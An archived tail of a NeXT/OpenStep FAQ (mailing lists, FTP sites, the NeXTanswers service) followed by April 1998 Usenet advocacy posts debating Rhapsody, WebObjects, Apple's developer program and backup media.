are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 12 Apr 1998 06:27:32 GMT
Organization: The Vast Right Wing Conspiracy
Message-ID: <6gpmsk$esn$1@usenet48.supernews.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>
In article <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>,
Eric A. Dubiel <eadubie@rs6000.cmp.ilstu.edu> wrote:
>Check it out...don't believe the M$ hype...
>http://www.abcnews.com/sections/business/DailyNews/microsoft_media980410/index.html
>
>"With antitrust challenges and the launch of Windows
>98 looming, Microsoft is reportedly looking to polish its
>war-torn image with a series of faux feel-good
>testimonials."
I'm just waiting for MS to push some developer in front of
the cameras to give a testimonial about how great MS is--
only to have him blink out "T-O-R-T-U-R-E" in morse code
with his eyes.
"Vee haff VAYS to make you give testimonials..."
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 23:31:39 +0100
Organization: EarthLink Network, Inc.
Message-ID: <352FEF40.5E4B@earthlink.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <MPG.f98a80060b89b0798989f@news.supernews.com> <6goedv$giu$1@crib.bevc.blacksburg.va.us> <edremy-ya02408000R1104981330150001@nnrp.usc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Eric Remy wrote:
>
> In article <6goedv$giu$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > If they ditch Rhapsody now
> > they're doomed, if for no other reason than Apple's been touting it as
> > their next-generation OS. If Apple doesn't have a "next generation OS",
> > nobody's going to believe they're going to stick around, and no one's
> > going to believe that MacOS _is_ their "next generation OS".
>
> You know, this sounds an awful lot like what I heard about Copland a few
> years ago. Apple touted it very highly as the next generation OS.
Ahhh, but NeXT/Openstep already exists. It is just being modified to
become Rhapsody. It will come out. Believe it.
Steve
From: maliyekk@rice.edu (Anil Thomas Maliyekkel)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 12 Apr 1998 04:50:59 GMT
Organization: Rice University, Houston, Texas
Message-ID: <6gph7j$sjf$1@joe.rice.edu>
References: <6gpc8q$7f9$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: I don't think that right now, a system with a 100+ MHz memory bus is
: likely to be targeted toward the sub $1200 consumer market. In the Mac
: world, as it is in the x86 world, higher performance stuff comes at a
: premium, then they migrate to the lower priced systems. Heck, just look
: at Apple's G3 systems, the only systems with 66 MHz memory busses, and
: when it first came out, it's all exclusive to the $2K+ systems, but
: as time goes on, Apple will introduce systems targeted toward the sub
: $1200 market with G3's on 66 MHz busses. IMO, the suitability of PC-100
: DIMMS for the sub $1200 consumer market is also irrelvent at this time.
: If they can get it, it'll end up in the higher priced systems.
The fact that >$2000 G3's were the first systems to come out with
66MHz buses had more to do with Apple's development cycles and
the expense of the PowerPC 750 itself rather than the lack of low
cost 66MHz SDRAM or chipsets for that matter. Apple still was
selling higher end 604e based systems which costed more than the
G3's yet used slower system buses. For the same reasons, it
would appear, Apple's next generation PowerPC 750 based laptops
will be using 83MHz buses, at least in some models, well before
any of their desktop systems use the faster bus.
Apple seems to be aiming for a high return on investment from hardware
development activities, so they seem be focussing heavily
on families of systems that share a lot of common components.
They also seem to feel pressured to offer the fastest systems at
affordable prices, taking their cue from Dell. At the same
time they don't want to take the chance that they'll offer
a nice high end system that everyone wants, but that they
can't produce enough of them due to supply contraints for things
like faster DRAM. The end result is the market waits for the
better product, and Apple doesn't get any revenue. So maybe
Apple doesn't think PC-100 fits into their plans just yet,
especially since it is just coming out and things will take time
to shakeout or they don't want to spend the time and money on
engineering 100MHz systems because they don't think they'll
get a good return and could actually reduce their revenue stream.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program -shareware
Date: 12 Apr 1998 09:08:22 GMT
Organization: WARPnet, Incorporated
Message-ID: <6gq0a6$l7g$1@news.idiom.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
<6ggkg1$90k$1@news0-alterdial.uu.net> <SCOTT.98Apr8221520@slave.doubleu.com>
<dcoshel-1104981530090001@323-a-43-57.ppp.mcleodusa.net> <6gpb5t$hjo1@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: buck.erik@mcleod.net
"Michelle L. Buck" may or may not have said:
-> As a person who hires hot shot programmers, I can attest that the comments
-> below is certainly true at my company.
->
-> Programmers can tend to be fanatical people. The most brilliant
programmers
-> are people who can not rest until a good idea is realized. The best are
the
-> ones who can tell a good idea from a bad one in advance.
It also helps if they can articulate why one idea is good and other idea is
bad, to non-technical managers. I've see many excellent developers nearly
bust a gut from frustraton, when they knew the right thing to do, and
couldn't convince people of less ability but more seniority.
-> Most programmers I know are passionately libertarian. This I believe comes
-> from a strong belief in a meritocracy.
I concur, and I would add that I've seen this in other engineering
disciplines, and the hard sciences. At its root, engineering is about facts:
the bridge stands or it collapses, the server runs for months, or it behaves
like NT.
-> Computers don't judge programmers, and software is still as much craft as
-> science.
Pity we can't teach software development like blacksmithing or cabinetmaking:
Show that you can write something that works, and you're a journeyman;
write your masterpiece, and then you're qualifed to teach your own
apprentices.
-> If you write good software, you can certainly be judged by it. The real
-> evil of "pointy haired bosses" is that they can not discern merit.
Pointy haired bosses, and Venture Capitalists who will pass over something
worthwhile to fund yet another java startup.
[snippage]
-> With regard to the type of jobs new hires get, tallent quickly rises to
the
-> top.
It will rise in terms of responsibility, but whether the talent is rewarded
financially depends on the competence of the organization. Here in the
valley, engineers know that the way to get the raise you deserve is to change
jobs. It's a lot easier to land a new job at 30% more than you're getting
than to get a 30% raise.
->The really hot programmers are easily identified after the fact. It
-> is very hard to determine talent in an interview.
Yes and no. It helps if the interviewer is himself a highly qualified
developer. I've always found that it's pretty easy to screen out the
wannabees.
[more snippage]
-> By the way, musicians make the best programmers. I don't know why. I
-> always ask candidates if they play an instrument.
They're highly correlated, but I've seen a few counterexamples.
->The best programmers are seldom the best managers.
And the best musicians are seldom the best music teachers.
-> Managers must be very very knowledgable, stable, and current to avoid
-> growing pointy hairs. One bad programmer costs the company low 6
-> figures. One bad manager can cost millions easily.
It's quite possible to be a good, non-technical manager, and I've had a few
in my time. The most common failing I see among non-technical managers is a
tendency to compensate for their lack of understanding by micro-management.
-jcr
--
John C. Randolph (408) 358-6732 NeXT mail preferred.
Chief Technology Officer, WARPnet Incorporated.
"Have a lot of Fun, make a lot of Money, then sod off to Tahiti!"
From: Robert Nicholson <steffi@shell8.ba.best.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 12 Apr 1998 02:59:38 -0700
Message-ID: <yl3zphrweb9.fsf@shell8.ba.best.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>
<6gpmsk$esn$1@usenet48.supernews.com>
Seriously though. Where's the mass media reporting this story? No where.
Watch what happens come April 21st ... They will _lose_ another round but
it will be overshadowed by some pr stunt.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 12 Apr 1998 11:25:38 GMT
Organization: P & L Systems
Message-ID: <6gq8bi$oop$20@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com>
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Cc: bl003@dial.oleane.com
In <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com> Benoit Leraillez
wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > Apple has just announced WebObjects is available to academics for $99,
> > including deployment. Given that the latter costs $25,000 for the
commercial
> > sector, I think that's pretty generous, and augurs well. It even gives
you
> > an excellent platform on which to learn more about Rhapsody development.
>
> 1 WebAbject is 99$ for administrative use only..
>
Where does it say that?
> 2 Rhapsody does'nt exist until it's retail.
>
In which case, why are so many people talking about the uses they're putting
it to now? Again, I fail to understand your point; please indulge me and
elaborate...
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple developer program
Date: 12 Apr 1998 11:22:46 GMT
Organization: P & L Systems
Message-ID: <6gq866$oop$19@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
<352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
<6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr>
<9APR98.16105101@fredjr.pfc.mit.edu> <6glo57$oop$14@ironhorse.plsys.co.uk>
<1d7aoka.1si5faf1wh3e0wN@dialup-202.def.oleane.com>
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Cc: bl003@dial.oleane.com
In <1d7aoka.1si5faf1wh3e0wN@dialup-202.def.oleane.com> Benoit Leraillez
wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > No, I'm not afraid these will drive us out of business at all. You're
> > displaying an astonishing lack of intelligence (in the broadest sense of
the
> > word) by suggesting this. I welcome freeware applications, just like
anyone
> > else. For your information, we have actually distributed a couple of
> > freeware applications for Rhapsody ourselves, and, for your benefit,
> > sponsored the development of another (OpenUp -- cf
http://www.stepwise.com/ )
>
> Dear Mmmmmalcom,
>
mmalc, mmalcolm, or Malcolm will do fine.
> You are displaying an astonishing lack of vision (in the smallest sense
> of the word, ie the two little round things separated by a protuberance
> called the nose). You think that Apple with a few dozen million users
> around the world, and a few dozen thousand developers can follow the
> market plan of a guru from an unknown company with a couple of
> developers (you and what's his name again?) and as many users. NeXt
> never appeared in any media chart representing OS use. Well it did but
> it was included in the "Others" category, you know the little slice for
> the 1%).
>
> NeXt was a great, but dead, OS. SJ is trying to do with MacOs what he
> has been able with his previouX OS: nothing significant.
>
Are you trying to make a point here?
I'm afraid I can't see it if you are. Perhaps you could try to rephrase it?
mmalc.
From: Shimpei Yamashita <shimpei+usenet+.mil+.gov@BOFH.patnet.caltech.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 12 Apr 1998 11:41:27 GMT
Organization: Hummingbird Heaven
Message-ID: <6gq997$s94@gap.cco.caltech.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj85u$e04$1@ha2.rdc1.sdca.home.com> <edremy-ya02408000R0904981401540001@nnrp.usc.edu> <mashima-0904981926340001@ip236.seattle4.wa.pub-ip.psi.net>
Originator: shimpei@socrates.caltech.edu (Shimpei Yamashita)
Brian Marshall <mashima@sodoffearthlink.net> writes:
>
>I've heard way to often stories of tapes failing. What the hell do they
>need to back up a thesis on tape for? Use a damn zip or 1.44 floppy. It's
>pretty damn easy. Like I said before, Stupid techs, stupid users. Not bad
>Mac or PC or Unix
Floppies?? For thesis? Ha ha ha! That's a good one! Floppies are
practically *guaranteed* to go bad in a few years. Really. At least it
seems that way with my collection of floppies. I'd trust it for
schlepping data to and from work every day, but that's about it.
As for Zips, they seem all OK for the time being, but my Zip disk
collection is quite small and less than two years old. It's still
unproven technology. I'd probably trust it as *one* of the backups for
a thesis.
You hear stories of tapes failing often, probably, because it's
usually the last resort--which means tape failures are truly
catastrophic when they do happen (as opposed to, say, a floppy
failing, which is a routine event). It's like saying you won't ride
airplanes because you hear stories often of plane crashes--airplanes
are actually one of the safest methods of travel; a plane crash just
make a better story than the kadzillion car crashes around the world
that do far more collective damage every day.
If you want a more foolproof solution, get a CD-R. You can't
accidentally erase one, but it's hardly cost-effective as a routine
backup solution.
--
Shimpei Yamashita <http://www.patnet.caltech.edu/%7Eshimpei/>
perl -w -e '$_="not a perl hacker\n";$q=qq;(.);x9;$qq=qq;345123h896789,;;;$s=
pack(qq;H6;,q;6a7573;);$qq=qq;s,^$q,$s$qq;;$qq=~s;(\d);\$$1;g;eval$qq;print;'
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 12 Apr 1998 11:37:36 GMT
Organization: P & L Systems
Message-ID: <6gq920$oop$21@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com>
<6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
<1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com>
<19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com>
<6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>
<6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de>
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Cc: schuerig@acm.org
In <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de> Michael Schuerig
wrote:
=
> What these people apparently don't understand is that it requires a lot
> of enthusiasm, effort and money to spent your sparetime on developing
> software for the Mac. "Why sparetime?" you ask. -- Well, show me a place
> where I can do full-time software development for Mac/Rhapsody.
>
There is an acutre shortage of WebObjects developers at the moment.
Anyone who can develop WebObjects apps is a significant way towards being a
Rhapsody developer. If you're a qualified WebObjects developer we may have
an opening for you soon.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 12 Apr 1998 11:47:29 GMT
Organization: P & L Systems
Message-ID: <6gq9kh$oop$22@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com>
<6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com>
<6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com>
<6gm8ou$hom$4@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6gm8ou$hom$4@quasar.dimensional.com> Kenneth R. Kinder wrote:
> In comp.os.linux.advocacy , article <6gis4a$6j$3@anvil.BLaCKSMITH.com> ,
Charles Swiger <chuck-nospam@blacksmith.com> wrote:
> >> I think you owe me a bar of chocolate, Chuck! :-)
>
> > Deal. Hopefully I'll be at WWDC....
>
Ah, sadly I don't think I will be.
Maybe MacWorld Expo NY...
> Actually... if you guys wanna see my code, I'm starting this weekend on a
> free accounting program... Perhaps I could forward you some
> pre-pre-pre-alpha code in a few days...
>
I'm somehow reminded of the closing minutes of Apocalypse Now...
"The horror... the horror..."
It's OK Ken, you said you're a C++ fan. I think I'll pass on this.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 12 Apr 1998 12:41:50 GMT
Organization: P & L Systems
Message-ID: <6gqcqe$oop$23@ironhorse.plsys.co.uk>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net>
<352d5190.286081406@news.sunflower.com> <6gjs37$883$1@uuneo.neosoft.com>
<352f99f7.304616375@news.sunflower.com> <rmcassid-1004980007390001@dante.eng.uci.edu>
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Cc: rmcassid@uci.edu
In <rmcassid-1004980007390001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
> Next thing we'll be asked to teach students how to get laid...
>
Hey, I'm sure that would boost enrolement numbers! :-)
You can sign me up as a TA for Petting 101 right now... ;-)
Best wishes,
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 12 Apr 1998 05:48:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1560736-D1E9@206.165.43.105>
References: <6goeq3$gjv$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
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>
> Person with a clue: You'd never do "foo" in DPS anyway, that's done
> in the AppKit (or wherever), where it belongs, and works fine (and is
> probably faster/more flexible/better than GX to boot).
You mean like hittesting of text?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 12 Apr 1998 13:12:18 GMT
Organization: WARPnet, Incorporated
Message-ID: <6gqeji$85s$2@news.idiom.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj85u$e04$1@ha2.rdc1.sdca.home.com>
<edremy-ya02408000R0904981401540001@nnrp.usc.edu> <mashima-0904981926340001@ip236.seattle4.wa.pub-ip.psi.net>
<6gq997$s94@gap.cco.caltech.edu>
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Cc: shimpei+usenet+.mil+.gov@BOFH.patnet.caltech.edu
If you want *truly* reliable backup, get yourself a Teletype ASR-33, and a
big roll of mylar tape. The stuff's just about indestructible short of
burning it.
-jcr
--
John C. Randolph (408) 358-6732 NeXT mail preferred.
Chief Technology Officer, WARPnet Incorporated.
"Have a lot of Fun, make a lot of Money, then sod off to Tahiti!"
From: "Hendrik Merx" <merx@pc.chemie.tu-darmstadt.de>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 12 Apr 98 15:08:32 +0200
Organization: Technische Universitaet Darmstadt
Message-ID: <B1568976-2BA0A@130.83.138.138>
References: <joe.ragosta-0904981624100001@wil59.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.tu-darmstadt.de/comp.sys.mac.oop.powerplant,
nntp://news.tu-darmstadt.de/comp.sys.mac.programmer.codewarrior,
nntp://news.tu-darmstadt.de/comp.sys.next.advocacy,
nntp://news.tu-darmstadt.de/comp.sys.next.programmer
On Thu, Apr 09, 1998 22:24, Joe Ragosta <mailto:joe.ragosta@dol.net> wrote:
>In article <B1526CE7-65D6E@207.217.155.85>, "Brad Hutchings"
><brad@hutchings-software.com> wrote:
>
>> This move would not have been met with intense cynicism if developers
>> thought Apple had an overall clue and direction and appreciation of how
>> developers support Apple. It starts from the top, and unfortunately, is
>> beyond the control of ADR.
>
>So, in other words, you're just assuming that, because it's Apple, they
>did the wrong thing.
I think he suggested that Apple's engineers might have a different opinion
about this topic than Apple's marketing and/or management.
Hendrik
merx@pc.chemie.tu-darmstadt.de
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sun, 12 Apr 1998 15:58:54 +0200
Organization: Completely Disorganized
Message-ID: <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de> <6gq920$oop$21@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de> Michael Schuerig
> wrote:
> =
> > What these people apparently don't understand is that it requires a lot
> > of enthusiasm, effort and money to spent your sparetime on developing
> > software for the Mac. "Why sparetime?" you ask. -- Well, show me a place
> > where I can do full-time software development for Mac/Rhapsody.
> >
> There is an acutre shortage of WebObjects developers at the moment.
> Anyone who can develop WebObjects apps is a significant way towards being a
> Rhapsody developer. If you're a qualified WebObjects developer we may have
> an opening for you soon.
I'm not (yet?). And I'm not sure of how much help it would be -- over
here in Germany. I do know exactly one company here that develops WO
solutions (Hi Holger!). It would be interesting, though, to have a job
market for Rhapsody & related technologies.
That brings me to my original point: I would appreciate it very much if
the uphill programming of small developers would be higher valued. In
particular the work of those over here in (continental) Europe. The
Apple market share is far worse in Germany -- and compared to german
Apple marketing Apple-USA is highly competent.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: "Hendrik Merx" <merx@pc.chemie.tu-darmstadt.de>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 12 Apr 98 15:46:58 +0200
Organization: Technische Universitaet Darmstadt
Message-ID: <B1569277-4D79F@130.83.138.138>
References: <don_arb-1004981207170001@sea-ts1-p29.wolfenet.com>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="Cyberdog-MixedBoundary-0004D66F"
Content-Transfer-Encoding: 7bit
nntp://news.tu-darmstadt.de/comp.sys.mac.oop.powerplant,
nntp://news.tu-darmstadt.de/comp.sys.mac.programmer.codewarrior,
nntp://news.tu-darmstadt.de/comp.sys.next.advocacy,
nntp://news.tu-darmstadt.de/comp.sys.next.programmer
--Cyberdog-MixedBoundary-0004D66F
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<SMALLER><SMALLER>On Fri, Apr 10, 1998 21:07, </SMALLER></SMALLER>
--Cyberdog-MixedBoundary-0004D66F
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Content-Description: Don Arbow
bWFpbHRvOmRvbl9hcmJAd29sZmVuZXQuY29t
--Cyberdog-MixedBoundary-0004D66F
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<SMALLER><SMALLER> wrote:</SMALLER></SMALLER><SMALLER><SMALLER>
</SMALLER></SMALLER><SMALLER><SMALLER>>Remember, also that Apple
needed people to administer the hardware
>program, take orders, get the boxes shipped, etc. I'm sure that cut
into
>any profits that Apple may have made on the boxes.
Don't they have this Online Store thing? There should be enough people
doing exactly that.
Hendrik
merx@pc.chemie.tu-darmstadt.de</SMALLER></SMALLER>
--Cyberdog-MixedBoundary-0004D66F--
From: "Hendrik Merx" <merx@pc.chemie.tu-darmstadt.de>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 12 Apr 98 15:50:10 +0200
Organization: Technische Universitaet Darmstadt
Message-ID: <B1569336-50497@130.83.138.138>
References: <don_arb-1004981219030001@sea-ts1-p29.wolfenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.tu-darmstadt.de/comp.sys.mac.oop.powerplant,
nntp://news.tu-darmstadt.de/comp.sys.mac.programmer.codewarrior,
nntp://news.tu-darmstadt.de/comp.sys.next.advocacy,
nntp://news.tu-darmstadt.de/comp.sys.next.programmer
On Fri, Apr 10, 1998 21:19, Don Arbow <mailto:don_arb@wolfenet.com> wrote:
>Well, since DR1 is currently under NDA, the only place to get your
>questions answered are from Apple itself. You cannot post questions in
>public forums about software which you have agreed to Apple that you will
>not discuss.
But he may expect some clarification on the documentation.
Hendrik
